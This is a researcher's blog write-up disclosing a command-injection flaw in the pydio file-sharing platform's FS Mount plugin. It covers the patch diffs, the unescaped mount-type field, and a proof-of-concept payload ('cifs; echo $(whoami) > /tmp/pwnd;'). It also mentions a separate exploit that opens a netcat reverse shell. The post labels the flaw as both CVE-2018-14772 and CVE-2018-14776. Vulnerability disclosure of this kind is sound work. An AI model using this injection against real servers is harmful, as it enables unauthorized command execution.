CVE-2018-14772

exploits

Posted by coastal on September 18, 2018

intro

CVE-2018-14776 is a post-authentication remote code execution vulnerability that I found in the pydio filesharing platform. Descriptions of the vulnerability can be found in Mitre’s CVE database here or at NIST’s National Vulnerability Database here.

writeup

I actually found this vulnerability while investigating CVE-2015-3431, a 10-score CVE in the pydio (formerly Ajaxexplorer) file-sharing platform. At the time, a former employer was using a vulnerable version of this application, which piqued my interest. I wanted to see what the vulnerability actually looked like and try to write my own version of the exploit. The first thing that I did was check the changelog for the patched version (6.0.7). The only reference to the vulnerability was in the release note

We are releasing today a security patch for v6. Vulnerabilities were reported by Lane Thames and are registered under CVE-2015-3431 and CVE-2015-3432.

In the smaller bugfixes some juicier bits related to user authentication were noted:

  • AuthService test userExist and create new (details)
  • Check userExist to create new user for new sharing (details)

While these may be related to the “no authentication required” part of the CVE, I was more interested in discovering the avenue of code execution. With the CVE description and patchnotes being very uninformative, I moved on to diffing the pre-disclosure stable release with the patched release. Here is one of the diffs that caught my eye:

diff -Naur pydio-core-6.0.6/plugins/meta.mount/class.FilesystemMounter.php pydio-core-6.0.7/plugins/meta.mount/class.FilesystemMounter.php
--- pydio-core-6.0.6/plugins/meta.mount/class.FilesystemMounter.php	2015-04-09 04:11:19.000000000 -0400
+++ pydio-core-6.0.7/plugins/meta.mount/class.FilesystemMounter.php	2015-05-06 03:46:44.000000000 -0400
@@ -134,7 +134,7 @@
         $UNC_PATH = $this->getOption("UNC_PATH", $user, $password, false);
         $MOUNT_OPTIONS = $this->getOption("MOUNT_OPTIONS", $user, $password);
 
-        $cmd = ($MOUNT_SUDO? "sudo ": ""). "mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .$MOUNT_OPTIONS. " " ) .$UNC_PATH. " " .$MOUNT_POINT;
+        $cmd = ($MOUNT_SUDO? "sudo ": ""). "mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .escapeshellarg($MOUNT_OPTIONS). " " ) .escapeshellarg($UNC_PATH). " " .escapeshellarg($MOUNT_POINT);
         $res = null;
         if($this->getOption("MOUNT_ENV_PASSWD") == true){
             putenv("PASSWD=$password");
@@ -177,7 +177,7 @@
         $MOUNT_POINT = $this->getOption("MOUNT_POINT", $user, $password);
         $MOUNT_SUDO = $this->options["MOUNT_SUDO"];
 
-        system(($MOUNT_SUDO?"sudo":"")." umount ".$MOUNT_POINT, $res);
+        system(($MOUNT_SUDO?"sudo":"")." umount ".escapeshellarg($MOUNT_POINT), $res);

Hmm…the patch diffs contain multiple variables that are now wrapped in escapeshellarg()? That sounds like command injection to me! Now here is where I stumbled from CVE-2015-3431 into CVE-2018-14772. Here was the most up to date code in the same file at the time of discovery:

$cmd = $udevil."mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .escapeshellarg($MOUNT_OPTIONS). " " ) .escapeshellarg($UNC_PATH). " " .escapeshellarg($MOUNT_POINT);

Whoops, $MOUNT_TYPE still isn’t escaped! Looks like we might be able to perform a command injection in a similar fashion to the old exploit. However, this file isn’t an endpoint that can be reached with a REST call with some paramaters. Instead it is logic triggered on an application state change. So in order to exploit this issue I had to dive a little further into what function the FilesystemMounter.php file serves in the meta.mount plugin.

The header for the FilesystemMounter.php file states:

/**
 * Dynamically mount a remote folder when switching to the repository
 * @package AjaXplorer_Plugins
 * @subpackage Meta
 *
 */

That makes sense give the code snippets we saw before. So now we have to determine how to activate this plugin. To do this, I installed pydio in a local VM and configured it. I wrote an ansible role that I can share at some point (in a private repo at the moment) to take care of this deployment.

The plugin turned out to be called FS Mount, and can be configured by going to Settings->Workspaces->(workspace)->Add a feature->FS Mount in the settings menu of the administrative portal.

In browsing the plugin options, we can see a field called FS Type.

This seems pretty similar to $MOUNT_TYPE no? Let’s see what happens when we inject a command into that field, save the plugin to the workspace, and try to access the workspace.

Now, we browse to the workspace

Well, that certainly seems promising! However, for testing, I found it very cumbersome to have to reload the VM from my pre-injection snapshot every time I injected a payload. So to bypass this, I found the location in the local mysql database where the plugin configuration data is stored.

$ mysql -u pydio -p
mysql> use pydio;
mysql> select val from ajxp_repo_options where uuid = "183698c607b1f3b9816a0c9306e6ccc8" and name = "META_SOURCES";

$phpserial$a:6:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:15:"meta.filehasher";a:0:{}s:10:"meta.mount";a:8:{s:15:"FILESYSTEM_TYPE";s:34:"cifs; echo $(whoami) > /tmp/pwnd; ";s:13:"MOUNT_OPTIONS";s:69:"user=AJXP_USER,pass=AJXP_PASS,uid=AJXP_SERVER_UID,gid=AJXP_SERVER_GID";s:20:"MOUNT_RESULT_SUCCESS";s:2:"32";s:15:"USE_AUTH_STREAM";s:4:"true";s:8:"UNC_PATH";s:19:"127.0.0.1/somewhere";s:11:"MOUNT_POINT";s:14:"/tmp/somewhere";s:4:"USER";s:5:"admin";s:4:"PASS";s:8:"password";}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:10:"meta.watch";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}

Pre-injection, my META_SOURCES data for my repository of interest (183698c607b1f3b9816a0c9306e6ccc8) looked like so:

$phpserial$a:5:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:10:"meta.watch";a:0:{}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:15:"meta.filehasher";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}

When I wanted to try another injection or payload, I would have to restart the VM as the borked config permanently corrupted the workspace. Instead of having to reload the VM, we can overwrite the corrupted value to the original value:

mysql> update ajxp_repo_options set val = '$phpserial$a:5:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:10:"meta.watch";a:0:{}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:15:"meta.filehasher";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}' where uuid = "183698c607b1f3b9816a0c9306e6ccc8" and name = "META_SOURCES";

Then follow up by restarting apache

sudo service apache2 restart

and you are ready to try again! I worked out a nice little payload that let me confirm arbitrary injection:

cifs; echo $(whoami) > /tmp/pwnd; 

verifying this injection post-trigger is pretty straightforward

And there we have it! Successful arbitrary command execution.

impact

The vulnerability is present in all versions of pydio between 4.2.1 (Jul 23, 2012) to 8.2.1 (October, 2018). The exploit requires administrative credentials as the user needs to have the ability to add a plugin to a workspace. I didn’t like having to click around to exploit this vulnerability, so I wrote a one-shot exploit for it that will throw you a reverse shell. The exploit script has some nifty functionality like auto-enumeration of potentially exploitable workspaces, and allows you to throw arbitrary payloads at the vulnerable server. Default is an nc reverse shell

addendum

This vulnerability was patched in the 8.2.2 release of pydio. You can find the PoC exploit for this vulnerability here.

- coastal